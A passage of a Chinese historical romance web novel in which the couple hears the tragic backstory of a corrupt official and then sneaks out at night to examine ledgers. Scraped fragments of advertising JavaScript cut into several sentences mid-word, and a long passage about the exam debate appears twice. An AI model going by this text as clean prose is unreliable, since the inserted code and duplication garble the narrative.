她莫名的笑了一下,低着头去看手中的玉佩,手中的羊脂玉莹透纯净,上面刻着竹林和圆月,一看便是代表着沈氏一族的信物——这也太贵重了,她有些不敢接受这样珍贵的礼物,刚想开口拒绝,就感觉手背一热,低头再看,发现沈瑜春骨节分明的大掌稳稳盖住了她的,她不明所以地看向他,发现对方正目光深沉的看着自己:“拿着,阿琰,这是很久以前母亲送给我们姐弟三人的遗物,她说即使生在大族,哪怕很多时候身不由己,也要做一个情深义重之人,倘若有一天遇到了可以托付自己生命,或者可以为其付出生命之人,那就将这块玉佩交给那人,我以前从来没有想过我有一天会把这块玉佩送出去,可我现在遇到了,我想把送给你,连同我往后的余生。” 姜琰眼眶一日,圆润的杏眼发红,隔着眼眶中愈发厚重的水雾,将另一只垂下的手覆在他的手背上,踮脚轻轻亲了他的下唇。 “好。” 她说道。 沈瑜春见她眼眶泛红,也有些想哭,惊喜地哽咽着问道:“什么?” 姜琰眼里是无尽的温柔,她笑着又亲了他一下,沈瑜春终于喜极而泣,上前将她搂入怀中,紧紧拥着他,鼻尖尽是她发丝的芳香,他有些贪恋这温暖的味道,轻轻抚着她的后背道:“我爱你,阿琰。” 44.第 44 章 姜琰没有说话,反而拥得他更紧,温热的肌肤隔着衣服布料紧紧相贴,共振着同频率的心跳。 “咳咳。” 正当二人还想再进一步做些什么时,屋外院内突然传来一阵咳嗽声,吓得姜琰连忙推开面前之人,沈瑜春正对着外面,看了一眼来人后也有些不好意思,整理了下并不凌乱的衣衫,甚至还正了下头冠。 姜琰见他一副如临大敌的模样,还在笑嘻嘻地问是谁,沈瑜春并未回道,只是浑身紧绷,等着那人走进,他毕恭毕敬地叫了声:“老师。” 姜琰脸上的笑蓦地停住,僵硬地转动脖子,发出一卡一卡的声音:“老......师?” 她转过身,先是定定地看了眼来人,眼前人不过四十余岁的光景,两鬓却俨然全白了,身穿紫缎宿鸟圆袍,头戴金冠,身形高大,虽然头发花白,但却英美目秀,丰采如神,尤其一身紫衣映在细长上挑的眼底,让本来透黑的眼睛看上去若夕之云霞,更显昳丽。 看来这一位年轻时也是个迷倒万千少女的美男子。 但姜琰还是不知道怎么称呼这位“老师”,有些慌乱地拉了下沈瑜春袖角,眨着眼向他示意介绍一下,未料沈瑜春还没开口,便听来者笑着说道:“昭远,这位便是姜姑娘吧。” 沈瑜春闻言也谦逊笑道:“学生不知老师来湖州,有失远迎,至于这位,确实是姜小姐。” 男人宽和笑笑,见姜琰还蒙在鼓里,施施然道:“阁部杨呈一。” 姜琰惊讶地“哦”了一声,连忙行礼道:“草民身不在庙堂,不知杨大人名号,失敬失敬。” 杨呈一失笑,摇摇头道:“只不过是教过他几句话而已,算不上老师,小子莫要胡说!” 他这话说得随意,姜琰也没往心里去,毕竟也不是谁都能让沈瑜春唤一声老师的,但说者无意听者有心,沈瑜春强调道:“老师您莫要推辞,当年您于朝堂之上救下学生一命,这莫大的恩情学生岂能忘怀!” 杨呈一嗐声道:“什么救不救的,说得那么严重,只是提醒你一下而已,你这小子怎么一直记到现在,快别说了,我脸皮薄,再说下官要不好意思啦!” 姜琰心想这话可真是严重了,阁部也就是内阁,可是中枢行政机构,内阁大学士大多是皇帝的咨询顾问,有的还教过太子,虽然杨呈一是五品官员,可社会地位极高,他能当沈瑜春的老师才是沈瑜春的荣幸。 沈瑜春知道杨呈一开玩笑惯了,也只是笑笑,并未在后面追着叫老师了,热络地为他斟茶道:“老师还未告诉学生怎么来湖州了,是圣上的旨意?” 杨呈一点了点头,抿了口茶,慢悠悠地说道:“正是,但已经解决地差不多了。” 沈瑜春倒茶的手一抖,抬头欲言又止地看向杨呈一,后者对上他的视线后,心中了然,把话挑明:“你是想问我办的事是不是这件?” 沈瑜春没说话,但杨呈一倒是心知肚明,哼了一声道:“这苏巍胆子还真是大,我当了这么多年官,还没遇见全州上下一起放高利贷的,真是开了眼了。” 确实,姜琰在心里默默赞同道,这到底是贪了多少才想着用放贷的方式填窟窿啊,不过说道填窟窿...... “圣上可说怎么解决了?” 沈瑜春的询问声将她的思绪拉回,她抬眼看向杨呈一。 杨呈一努了下嘴:“这事不好解决,清算他们府中的财物将欠款还给百姓是一回事,关键还要算上利息,可我们也不知道他们欠了多少。” “苏巍没说?” 杨呈一嗯了声:“没说,这老家伙嘴硬的很,张海崖审了许久都没审出来,你可知为何?” 沈瑜春挑眉:“难道是和我有关?” “是也不是。” 沈瑜春没想道这事儿还真的和自己有点关系,天知道他只是顺嘴问了一下,略微惊讶:“真和我有关系?” 杨呈一道:“你知道苏巍出身寒门吧。” 沈瑜春点点头:“苏巍二十入翰林院,家父对其青眼有加,常常邀他来府中做客,那时我还小,本是不记事的年龄,却对他印象颇深,因为他每次来府中时,都会拿一筐鸡蛋。” 姜琰觉得这有什么稀罕的,沈瑜春不会连鸡蛋都没见过吧。 没想到他仰起头望着天:“那是我第一次看见鸡蛋。” ???? 姜琰表情变得诡异起来。 沈瑜春见姜琰表情异常,甚至还带着些鄙视,急忙解释道:“不是的,我从没进过厨房,真是第一次看到鸡蛋!” 姜琰眉头紧皱。 沈瑜春疯狂示意杨呈一帮帮他,后者正在笑着看戏,见沈瑜春急得满头大汗才慢悠悠地说道:“君子远庖厨。” 沈瑜春用力地点头:“是这样的,父亲曾说读圣贤书的人要少见杀生的场面,不然会质疑圣人所说的道理。” 姜琰心道:有没有一种可能有些圣人圣语就是纯粹的假大空呢? 沈瑜春心虚地看了一眼姜琰道:“当然我觉得父亲说的是不对的,如果看不起杀生之人,觉得残忍,为何要吃荤呢,要我说,全天下只有和尚有资格说君子远庖厨。” 杨呈一也赞同地点点头:“不错,倘若全天下的人都这么仁慈,那也不要征兵、不要打仗了,全都出家做和尚算了!” 姜琰没想到他们这一大一小俩古板还能说出这样的话,着实令人语塞,沈瑜春见她说不出话,趁机转移话题:“总之,我没见过,我父亲也不怎么见,但每次苏巍拿着鸡蛋来拜访他时,他都异常开心——虽然他讨厌鸡蛋,苏巍前脚拿过来他后脚就吩咐下人拿到后门扔了。” “……” 沈瑜春说道这里也觉得讽刺,嗤笑一声道:“大概是苏巍的‘赤子之心’感动到他了吧,那一年他就收了苏巍一个门生。” “不对啊,那莫山岳呢?” 沈瑜春嘴角一抽:“他是关系户,是我表姐硬塞过来的。” “哦哦哦对对。”姜琰汗颜道,差点忘了这层关系了。 “然后呢然后呢,”她连忙把话接上,生怕沈瑜春不满她打断自己,沈瑜春深吸一口气,回忆起来:“我那时候还是五六岁的孩童,不知道对于苏巍这样的家庭一筐鸡蛋意味着什么,只知道明明父亲不喜欢鸡蛋为了他还硬要收下,于是在他再次来我家时,我故意撞翻了他手中的东西。” 姜琰想你那应该不是撞翻吧,一个小孩子怎么可能把一个成年男子轻易撞翻,沈瑜春估计是又吵又闹地跑过去故 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 意顶翻甚至还说了些不好的话,她都能想象到沈家主看见自己孩子人任性地欺负自己的得意门生,心里该有多生气。 果然,沈瑜春下意识地站直,握紧双拳:“那天晚上父亲揍了我一顿,然后让我跪在祠堂,初秋的夜祠堂很冷,四面八方的穿堂风将我的身子吹得瑟瑟发抖,身上全是被竹条打出的伤痕,皮开肉地暴露于凉风之中……那样的酸爽,我至今都不能忘记。” 杨呈一嘲笑他道:“你啊你,活该啊哈哈哈!” 沈瑜春嗔道:“老师,你听我说完。” “大概跪了两个时辰后,父亲顶着风来了,昏黄摇晃的烛火映着父亲煞白的脸庞,杜鹃的叫声和月华如海下的竹林涛声中,我听到了他低沉沙哑的声音响起,他问我知道错了吗?” “我点点头,他又问我,为什么错?” “我回不应该无礼顶撞家中客人,他说这是其一,其二便是苏巍此人,实在是过得太惨了。” 姜琰想不明白一个每次上别人家里作客都要拿一筐鸡蛋的人能惨到哪里去,在她的认知里古时并不是谁家都有“鸡蛋自由”的权利的,像姜家这种富庶人家,一个月吃鸡蛋的次数也就寥寥几回。 没想到沈瑜春却说:“苏巍在进京赶考之前,家里只剩一个母亲了,为了他读书养了几只芦花鸡,鸡生蛋了买出去挣两个钱,生小鸡了就接着养,最后把老母鸡卖了换钱,虽然看起来鸡萌,越生越多,越来越有钱,但为了他读书,经常是来来一只卖一只,有时候是为了买几本书,有时候是为了他能有个好身体,总之等他当上了举人,准备春闱时,家里就只有一只老母鸡了。” 他叹了口气,也觉得苏巍前半生确实过得很苦:“刚及冠的苏巍就这样身无分文地离开了家乡,踏上了来应天的路,不过好在最后结果是好的,两个月后他终于进榜提名,入了翰林院,结果就在回乡途中,他看到有人在摊子上卖她母亲的绣花手帕,一问才知原来这是那个小贩在城外死人堆里刨出来的,彼时苏巍惊愕万分,他怎么都没想到他荣归故里,却早已和母亲天人两别……他几乎是跑断了腿才跑回家,家里果然没有人,慌慌张张地问乡里人怎么了,他的母亲怎么了,所有人都支支吾吾地不说话,只有一个好心的老伯告诉他他的母亲现在在山头的乱葬岗,他又急忙跑去那里,这几趟下来他几乎要崩溃,唯一的心理防线也在见到母亲的尸首时轰然崩塌,他撑开母亲紧紧握着的手,里面是芦花鸡黑白的羽毛。” “他觉得母亲死得蹊跷,加之所有人都不敢说出母亲身亡的真相,悲痛万分的他跑去问那个好心的大伯,可大伯也不敢说,伤心欲绝地跪地哭哭哀求,只想听一句实话,善良的大伯还是动摇了,他说:‘是县丞王大人的儿子,觉得你们家的芦花鸡漂亮,想抢过来看看,你母亲求他不要,她说这是她和儿子靠着活命的东西,没了它整个家就都没了,县丞的小儿子不信,觉得一只鸡而已,死了就死了,这老太太在骗人,于是让人把鸡杀了端到她面前,强迫她吃下去,看看会不会死人。’” “‘唉,你娘也是倔得很,死活不肯吃那鸡,最后惹恼了他儿子,他儿子觉得面子上过意不去,扬言威胁要去应天找你,让你身败名裂,结果你母亲为了不连累你,一头撞死了。’” 45.第 45 章 “这是那位老伯的原话。” 沈瑜春看向屋外,鹅黄色的槐花在风中上下跳动,仿佛年幼时祠堂四周幽幽闪烁的烛光。 “‘这孩子,也是个苦命之人。’父亲一身寒气坐于祠堂前的台阶上,月落成霜,哀叹不止。” “总之从那以后,苏巍便开始疯狂寻找与那只芦花鸡样子相似的拿回屋里养,那时他家还不大,狭小的屋子里全是全是鸡毛、鸡食、鸡粪,他和鸡同吃同住,直到我父亲有一天上他家去,看到屋子里脏乱不堪,勒令他收拾干净,可他却一下子哭了出来,父亲询问很久才知道其中缘故,将沈家一处别院赠予他,那宅子有个不小的后院,足够他养几百只鸡了,苏巍被我爹感动得语无伦次,当即跪下拜他为义父,我爹觉得荒谬,但又确实欣赏这个人才,所以便说可以收他做名下门生。” “这就是为什么他总是拿一筐鸡蛋来看望我父亲,以前听到这个故事时深受触动,现在再看看他......只觉得可惜。” 屠龙少年终成恶龙,不知苏巍现在还养不养芦花鸡了。 这样的故事任谁听了都有几分难过,连杨呈一也渐渐不说话了,沈瑜春问道:“所以老师您还是没告诉学生,苏巍为什么变成如今这样?” 杨呈一也是叹了口气,仿佛所有人一说道苏巍都会觉得心酸:“他说他之所以这样,是不满上面对他的安排。” 沈瑜春又想起那句“是也不是”,问他道:“和沈氏有关?” 杨呈一点点头:“是了,本来苏巍一个人虽然孤苦伶仃,无依无靠,母亲被欺辱而死,可他苏巍一上来就入了翰林,他虽然生在湖州,可他生长的罗阳县是湖州最穷的,基本属于无人管理的地步,不是我夸张,就算苏巍当时把那个王县令打死了圣上也就睁眼闭眼地过去了,是以苏巍没几天就去找大理寺的同门说了这件事,这事儿都没传到圣上手里就被悄悄解决了。” “说到这儿你可能又要问了,既然如此他又怎么会心生怨怼,沈家也没亏欠过他,你父亲身在翰林,官场之事过问的少,苏巍升迁他更是管都没管过,他之所以这样,是因为莫山岳。” 正在喝茶的姜琰差点将口中茶水喷出:“还真是因为莫山岳啊!” 难怪从出事开始就一直造谣莫山岳,敢情不是搞抽象,而是真的讨厌他啊...... “寻真他怎么了吗?”沈瑜春微微不解,若说是看不惯莫山岳,使点手段想让他喝一壶也是可以理解的,毕竟他们二人是平级,没有比较就没有伤害,可若是说苏巍黑化完全是因为莫山岳,那可真是让人匪夷所思了。 杨呈一坚定地点点头:“不错,还真就是因为莫山岳。” “......为什么?我想不通。” 杨呈一用扇柄敲了敲桌子:“为什么,你傻啊,本来你爹就说收他苏巍一个徒弟就行,结果半路杀出来个莫山岳,不仅如此,那莫山岳进来就算了,还比他要聪明许多,问政论他比苏巍见解要深刻,讲人情他比苏巍会来事,什么好都让莫山岳占全了,那苏巍本来就心思敏感,是个爱多想的,这莫山岳哪里都好,就是学不会低调,天天跟那个孔雀开屏了一样在他苏巍面前晃,人家辛辛苦苦学了一天,回来看见莫山岳轻轻松松完成去逛歌楼了,换你你不难受?” 还真是,姜琰一想到莫山岳那副臭屁的嘴脸便浑身不爽,更别说苏巍了。 沈瑜春觉得自己还是要为莫山岳辩解一下的:“莫寻真其实也就是看起来不着调,您是知道的,他这么些年在朝中也是为国为民,让他干什么去哪他从来没有异议,上次莫家表弟在北漠边境杀了一个北人,他知道后逮着他弟弟就把人家腿给打断了,现在还拄拐呢。” 他瞟了一眼姜琰,后者已经听傻了,停顿两息给了她一点反应的时间才接着说:“虽然寻真他自己是个关系户,但却是个大义灭亲的,从来没有仗着沈氏和莫氏胡作非为过。” 听到这儿杨呈一和姜琰都笑了,只有沈瑜春还在一脸认真地解释:“真的!” 杨呈一笑得身体仰过去:“确实确实,也正是因为这样,苏巍这才明白有学识和才华并不算什么,这才开始想着财权两收。” 是啊,姜琰想,虽然南胤总体还是以农为本,认为商贾是歪门邪道,但不得不承认,有些政策虽然不明说,但还是偏向商人的,在任何时代,钱都是硬通货,没有钱寸步难行,就像苏巍,如果他老老实实等着靠政绩加官进爵,那他这一辈都只能在翰林院那个小院子里写注修史,编修对于有名望的世家来说算是一个体面的工作,毕竟人家不用养家糊口,可对于苏巍这种一穷二白的寒门子弟,他不需要体面,他需要的是钱。 面子对于穷人来说形同虚设,姜琰穿越之前在施工企业当过一段时间的项目财务,当时住宿条件非常艰辛,住的是施工现场旁边临时搭建的板房,风吹日晒,下雨的时候外面下小雨里面下大雨,连上厕所都要举着伞,他们管理人员住的还是自己单独的一个院子,更别说旁边的工人们,一个大集装箱里支四五个床,没有单独的洗漱屋子,无论春夏秋冬都在外面洗漱,有的还拖家带口,刚生下来的婴儿在充斥着烟酒臭味的阴暗屋子里哭叫着,母亲在四五个男人的鼾声中哄着孩子入睡,这样的环境下人还要什么尊严呢? 她只待了半年就辞职了,人是无法在这样的环境下生活的,至少她不能。 所以对于苏巍来说,能拿到钱不就行了,难道真的要像母亲一样以死明志?他不能,或者说他也没有这样的勇气。 姜琰忍不住感叹道:“有了钱就可以拿去买官,然而官越做越大,贪的钱也越来越多,贪念就像无底洞一样,有些人总想着贪一点也没关系,回头再把洞补上就好了,结果这洞反而越挖越大,到了最后人心不足蛇吞象。” 杨呈一简直不能再同意了:“是啊,唉,不过好在问清楚了……他这事儿一解决,我也好回京复命了不是?” 话毕,他如蒙大赦地叹了口气,站起身子拍拍刚才因为坐着而在膝盖上堆积的衣服褶皱:“他的事情我说完了,如你所见,是个可怜人的悲惨故事,你和这位小女郎还有什么要问的吗,要问一并问了,没有的话我就要回去眯会儿了,我在县衙大牢里坐了一晚上,嘴都说干了才撬出这么一点话,你们可是情报的第一知情人,可别往外穿,哈哈。” 沈瑜春知道老师又在开玩笑,摆手说自己不会,杨呈一笑着拍了拍他的肩膀,正要走出门又被沈瑜春叫住了:“老师!” 杨呈一紧急刹住,心想这位小祖宗又要干什么,沈瑜春跑过去见他脸上浮现出些许不耐,汗颜道:“老师您别恼,学生再多问一句,您真的觉得这件事这么解决就行?” 杨呈一一脸奇怪:“不然你还想怎么解决?” 沈瑜春摸了摸鼻头:“我的意思是您不觉得这件事蹊跷?” 杨呈一点明:“你是说要不要深究?” 沈瑜春点点头。 杨呈一觉得有趣,歪头笑道:“果然是年轻人,有热血,讲正义,不过,这件事就算了吧/” “为什么?” 杨呈一一字一句地重复道:“为什么?昭远,你可曾记得咱们二人第一次见面?” 沈瑜春道:“初次见面时您就在朝上为我解围,滴水之恩当涌泉相报,学生怎敢忘记?” 杨呈一道:“你还记得我怎么说的吗?” 沈瑜春忆起当时的点点滴滴,仍旧怅然:“当时我为了取消科举中的诗赋考试得罪了不少人,被人在朝中当着圣上的面骂,说我忘本,祖宗留下来的东西怎么能说不要就不要了呢,可是若是为了科举公正,那就必须要顾及到一部分学子所在私塾没有教人评赋的水平,不然的话就无法打破科举被世族垄断的壁垒!” 他越说越气,仿佛被那些迂腐朝臣责骂的回忆就发生在刚才,杨呈一知道他是个死心眼的,连忙顺毛,生怕他又钻了牛角尖:“你觉得作为从穷人堆里出来的圣上能不知道这意味着什么?你先说说结果如何?” 想到这儿沈瑜春稍微好一些了:“事后圣上随便挑了他们其中一人的一点错误,给他流放了。” 好家伙,正在一旁吃瓜的姜琰目瞪口呆,这就是帝王心术吗,人前笑呵呵,人后就记你一笔,她摸了摸自己的脑袋,心中犹豫还要不要进朝做官了。 杨呈一也幸灾乐祸起来:“是吧,咱们皇上拎得清,具体要怎么做他心中早有对策,只不过是需要一个出头鸟罢了。” 沈瑜春叹了口气,望着杨呈一,眼里满是感激:“但还是多亏了老师您在我孤立无援之时站了出来,说了句‘那臣有个不情之请,能否在卷子上加一道烂糊鳝丝的做法’?” 姜琰:??这是什么要求? 估计皇上当时就傻了吧,这都是什么玩意儿? 姜琰在一旁神色怪异,然而沈瑜春却越发崇拜起来:“有人问您为何提出如此荒谬的问题,您却说道:‘今人之诗赋,相当于南北人之菜系,既然不同地域人的风俗习惯、吃饭口味都不尽相同,怎么能要求不同地方的学子理解同样的诗赋呢?比如‘除却巫山不是云’这句,北方学子知道什么是巫山吗?你考他们温婉江南,人家却只能回你一句塞北孤烟,你笑人家见识浅薄,人家 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 还笑你大男人小家子气呢,依臣之见,要是如此下去,必须要出好几份不同的试卷才行!’” 姜琰拍手赞道:“妙啊!” 这目光也太超前了,离建国还有几百年就用上ab卷了。 沈瑜春看向姜琰,眼里满是骄傲:“老师就说了这一番话,顿时将那些老臣堵得哑口无言。” “其中还不乏那年的科举考官,一听到要出不同的卷子,里面后退不说话了。” 何止是不说话,姜琰想,这事儿要真成了,回去估计就要扎小纸人了。 姜琰大概能明白为什么沈瑜春要拜杨呈一为师了——大概是因为他的特立独行吧。 杨呈一脸皮薄,听到沈瑜春夸他,忙嗔道:“你小子嘴摸蜜了吧,行了,有这功夫捧我不如回家多说两句情话给媳妇听,我提起这件事也只是想告诉你,有些事情虽然圣上早有决断,但这出头鸟咱能不当就不当,免得又把自己推到孤立无援的处境。” 沈瑜春连忙称是。 二人已通过目送杨呈一离开,沈瑜春原本眉开眼笑的神情煞然沉寂下来,盯着屋外的某处一言不发。 姜琰怎猜不出他在想什么,说出了他的意思:“想去查就去吧,我陪你一起去。” 废话,光有财政系统怎么够啊,虽然她已经知道苏巍和乡绅他们欠了多少钱,但她也没办法解释啊,总不能说自己是夜观天象算出来的吧,那也太神了。 只能一起去找到账本了。 沈瑜春眼中闪过一丝诧色:“你不觉得我是多此一举?” 姜琰也看向屋外:“为众人抱薪者,不可使其冻毙于风雪中。” 她看向沈瑜春,眼神无比坚定:“总归不是当初那么年轻了,你已经有了更聪明的方法,不是吗?” 沈瑜春忆起当时的点点滴滴,仍旧怅然:“当时我为了取消科举中的诗赋考试得罪了不少人,被人在朝中当着圣上的面骂,说我忘本,祖宗留下来的东西怎么能说不要就不要了呢,可是若是为了科举公正,那就必须要顾及到一部分学子所在私塾没有教人评赋的水平,不然的话就无法打破科举被世族垄断的壁垒!” 他越说越气,仿佛被那些迂腐朝臣责骂的回忆就发生在刚才,杨呈一知道他是个死心眼的,连忙顺毛,生怕他又钻了牛角尖:“你觉得作为从穷人堆里出来的圣上能不知道这意味着什么?你先说说结果如何?” 想到这儿沈瑜春稍微好一些了:“事后圣上随便挑了他们其中一人的一点错误,给他流放了。” 好家伙,正在一旁吃瓜的姜琰目瞪口呆,这就是帝王心术吗,人前笑呵呵,人后就记你一笔,她摸了摸自己的脑袋,心中犹豫还要不要进朝做官了。 杨呈一也幸灾乐祸起来:“是吧,咱们皇上拎得清,具体要怎么做他心中早有对策,只不过是需要一个出头鸟罢了。” 沈瑜春叹了口气,望着杨呈一,眼里满是感激:“但还是多亏了老师您在我孤立无援之时站了出来,说了句‘那臣有个不情之请,能否在卷子上加一道烂糊鳝丝的做法’?” 姜琰:??这是什么要求? 估计皇上当时就傻了吧,这都是什么玩意儿? 姜琰在一旁神色怪异,然而沈瑜春却越发崇拜起来:“有人问您为何提出如此荒谬的问题,您却说道:‘今人之诗赋,相当于南北人之菜系,既然不同地域人的风俗习惯、吃饭口味都不尽相同,怎么能要求不同地方的学子理解同样的诗赋呢?比如‘除却巫山不是云’这句,北方学子知道什么是巫山吗?你考他们温婉江南,人家却只能回你一句塞北孤烟,你笑人家见识浅薄,人家还笑你大男人小家子气呢,依臣之见,要是如此下去,必须要出好几份不同的试卷才行!’” 姜琰拍手赞道:“妙啊!” 这目光也太超前了,离建国还有几百年就用上ab卷了。 沈瑜春看向姜琰,眼里满是骄傲:“老师就说了这一番话,顿时将那些老臣堵得哑口无言。” “其中还不乏那年的科举考官,一听到要出不同的卷子,里面后退不说话了。” 何止是不说话,姜琰想,这事儿要真成了,回去估计就要扎小纸人了。 姜琰大概能明白为什么沈瑜春要拜杨呈一为师了——大概是因为他的特立独行吧。 杨呈一脸皮薄,听到沈瑜春夸他,忙嗔道:“你小子嘴摸蜜了吧,行了,有这功夫捧我不如回家多说两句情话给媳妇听,我提起这件事也只是想告诉你,有些事情虽然圣上早有决断,但这出头鸟咱能不当就不当,免得又把自己推到孤立无援的处境。” 46.第 46 章 是夜,万籁阒寂,繁星满天。 以往这个时辰姜琰已经在房内睡下了,不知为何自从穿过来之后她的睡眠质量提高不少,可能是南胤的风水养人吧。 但此时姜琰并没有酣甜入梦,而是站在凉夜之中伴着冷风瑟瑟发抖。 她摸了摸身上的黑色夜行衣,悄咪咪地问身旁的沈瑜春:“咱俩这样真的好吗,你不是户部侍郎吗,怎么还要偷偷地去户房看账?” 沈瑜春一边看着对面户房门口巡逻的衙役,一边认真回道:“这次不一样,你看这些巡逻的人,你以为他们是谁?” 姜琰回答地理所当然:“衙役啊,不然是谁?” 沈瑜春啧了一声:“你看他们手中握着的剑,你觉得府衙会给他们发配带着鎏金剑柄的剑吗?” 姜琰闻言认真瞅了一眼:还真是。 此刻户房门口衙役的手中正握着鎏金蛇纹剑,黄金在寂寞冷夜中闪着幽幽萤火之光,仿佛密林之中充满诱惑的宝藏,引人驻足窥探其中奥秘。 姜琰好奇问道:“那这是谁的人?” 沈瑜春眉眼间多了几分不屑:“能是谁的人,鎏金蛇纹,当然是易家。” 姜琰又想起了易见山阴鸷狂魅的模样,莫名觉得棕褐色的大蟒蛇还挺配他的。 她再次转头看向沈瑜春,见他一提到他,就跟吃了老鼠屎一样恶心,眼里的烦躁和厌恶盖都盖不住,她回想起来第一天在驿站内厅里见到易见山时,沈瑜春也是这样的表情,当时许多人在场,她不便多问,此刻树丛里只有他和她,虽然外面凶险万分,但此刻清泉月下,孤男寡女,正是袒露心声的好时机:“大人似乎一直对易公子颇有成见,能告诉我这是为什么吗?” 沈瑜春突然回头看了她一眼,眉头紧锁,好像在质疑她的诚心。 这可把姜琰吓坏了,外面都是拿着刀的无名守卫,要是再把沈瑜春惹恼了,对方把她扔出去那可真就完蛋了,她连忙解释,殊不知慌乱之中不自觉地提高了声音:“我……唔……” 沈瑜春一把把她的嘴捂住,眼神示意她别说话。 经常看电视剧的人都知道,如果古装剧里在如此危机的情况下有人叫你不要出声就真的不要出声,哪怕感觉头顶悬着刀也不要跑,比如此时此刻她能从沈瑜春的神情中感觉到危险,从鼻腔中喷薄而出的热气打在她的脸上,她从那双浅色的眸子中看到了守卫接近的倒影。 姜琰很听话地跟随着沈瑜春的视线,将目光移向了身后的榆树上。 粗壮的枝干斜斜歪歪的直冲云霄,亭亭如盖,正好能遮住一个人的背影。 可现在说这些又有什么用呢,守卫马上就要挥剑斩来,她能看到黑暗中杀过一道冷光,可偏偏就在此时,姜琰突然听到一个熟悉的声音:“诶,沈大哥,你怎么在这儿!” 有人笑吟吟地跑过来,刚才的守卫一听到有人在叫他立刻回过头:“是你?” 辛景和嬉笑道:“是我啊,我刚和杨大人逛了逛咱们这边有名的夜市,你别说,还真别说,风月楼的歌女青青唱歌还真好听,吴侬软语的,唱得你浑身浑身骨头都酥啦!” 那名姓沈的守卫一下子来了兴趣:“哦?哪名啊,又来了新人?我也是她们歌楼的常客,我怎么不知道还有青青这号人物?” 辛景和是天生的脸皮厚,和谁都能称兄道弟,见沈守卫来了兴趣,一把揽住他:“唉你过来,我跟你说!” 沈守卫不放心地看了一眼身旁的矮丛,想要挣脱辛景和继续查看,没想到辛景和看起来文文弱弱的力气还不小,他一时没挣脱开,反而还被人搂得更紧了,沈守卫倒在辛景和的怀里,有些恼怒:“你干什么?!” 姜琰心一紧。 辛景和连忙放开了他,挠挠头,脸上有两团微醺后褪不去的红晕:“哎,沈大哥莫要生气,小弟我喝了些酒,一时糊涂,手下没轻没重,是否弄疼了大哥?” 沈守卫有些不自在:“……这是什么话。” 辛景和走过来两步,一把扒开姜琰他们藏身的草丛,二人猛地抬头,正好对上了辛景和清明的双眼,姜琰微微摇了头,辛景和却哈哈大笑,拽着沈守卫就冲了过来,姜琰和沈瑜春震惊地面面相觑:他在搞什么? 沈守卫被拽的咿咿呀呀的过来了,辛景和按着他的脖子,那沈守卫啥也没看清呢,人又被囫囵地拽上来,眼冒金星地听到辛景和问了一句:“你在看什么?有人?这哪里有人啊。” 沈守卫也不知是被他弄迷糊了还是怎么着,回想了一下刚才只看到了黑压压半人高的矮丛,其他啥也没看见,还以为真没人了,狐疑道:“那可能真是我看错了?” 辛景和点头道:“对喽,晚上黑容易看不清,估计是哪只野猫跑过来了,不过没事,沈大哥可想知道那青青歌女长什么模样,想不想知道点有意思的事情?” 沈守卫“嘿嘿”笑了一声,随后便由着辛景和把他拉到一旁说悄悄话去了。 而另一头,姜琰摸了一把额头上的冷汗,如蒙大赦:幸好刚才辛景和把那守卫拉到一去了,不然要是按照原先的方位,他一低头就能看见睁着大眼睛手足无措的姜琰和沈瑜春。 好在此时他们已经躲到了树后,就是姿势有点尴尬——因为树干只能堪堪遮住一个人的身子,但他们有两个人,唯一的解决方法便是二人叠着抱在一起,此时他们肌肤相贴,沈瑜春的手还搭在她的腰上/ 姜琰总感觉有什么东西硌着她,身子忍不住地轻轻扭动,可越是扭动越感觉硌着她的东西变大,直到沈瑜春搭在她腰上的手默默缩紧,她听见头顶传来沈瑜春的闷哼声。 我的老天奶,那不会是……那个吧! 她唰得抬头,看见沈瑜春正咬紧牙关,下颌绷紧,姜琰感觉脑子里闪过一道雷,还想着将身子再抽开些却感觉他将她箍得死死的:“别动。” 姜琰被吓得满头大汗:“你、你没事吧?” 沈瑜春无奈道:“你说呢?” 姜琰也知道这并非是沈瑜春的本意,一般来说有的时候他也不想的,可男人的这两个东西本来就是各长各的,她当然知道沈瑜春不会对她做什么,可姜琰嘴笨,不知道该怎么在这种情况下安慰人,于是破天荒来了句:“那咋办?” “……” 哈哈。 姜琰安详地闭上了眼:有些时候,不会说话就别说了。 沈瑜春沉默片刻后出奇冷静地回答道:“等会儿就好了。” 好的好的好的好的。 片刻后,姜琰感觉放在她腰上的手力道松了一些,再抬头看向沈瑜春,大眼睛眨巴眨巴地观察了一会儿发现对方看起来并不像刚才那么“虚弱”了,松了口气,目光看向前方,发现门口的人少了不少,拍了拍沈瑜春:“快看,人好像少一些了,要偷偷进去吗?” 沈瑜春神色自若地摇了摇头:“援兵还没到。” 姜琰“咦”了一声:“辛大人不是来了吗?” 沈瑜春却神色凝重道:“我没和他说要来户房的事情。” 姜琰感觉后背一凉:“没说?没说他为什么会来这边?” 沈瑜春摇了摇头:“不知道,可能真的是路过吧。” 那他人还怪好嘞。 二人又等了许久,听到县衙外的路上有锵锵梆子打更的声音,才知道这是三更天了,户房外面还来了不少相同佩剑的守卫,气势汹汹地提着灯踢踏而来,在猎猎夜风中如同鬼魅一般攒动着,照亮了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 户房前小小的一片天地,看见这场景傻子也会知道这是守卫换岗了,十几人渣渣呜呜地说话寒暄,刚才排列紧密的队伍一下子松散开来,姜琰觉得这是个好时机,于是问道:“咱们现在走吗?” 沈瑜春摇头:“等会儿。” 姜琰奇怪于他的游刃有余,眼看着身前的守卫们被喊着再次聚集在一起,心里逐渐慌了起来:“真的要再等会儿?等会儿人可就多了!” 沈瑜春还是淡定道:“不急。” 好吧,姜琰心中不爽,皇上不急太监急,沈瑜春不急自己也不急,于是也和沈瑜春一样背着手鬼鬼祟祟地在暗中观察着,这会儿所有守卫都在听头领训话点名,一时半会儿的也不会有人看过来,再加上刚才俩人差点擦枪走火,姜琰觉得俩人还是离远些比较好,她乖乖听着头领的话,希望能从他的话里获取一些有效信息,比如换岗的守卫有几人,都在户房的哪个方位,正听得起兴,便听见一声突兀地推门声打断了头领的训话,来人是一个只有十三四岁的婢子,身材瘦削矮小,脸色苍白,跟个风一吹就倒的小麻杆似的,领头见一个黄毛丫头打断了他的话,颇为不爽:“你是谁?没看到我们正在换岗?” 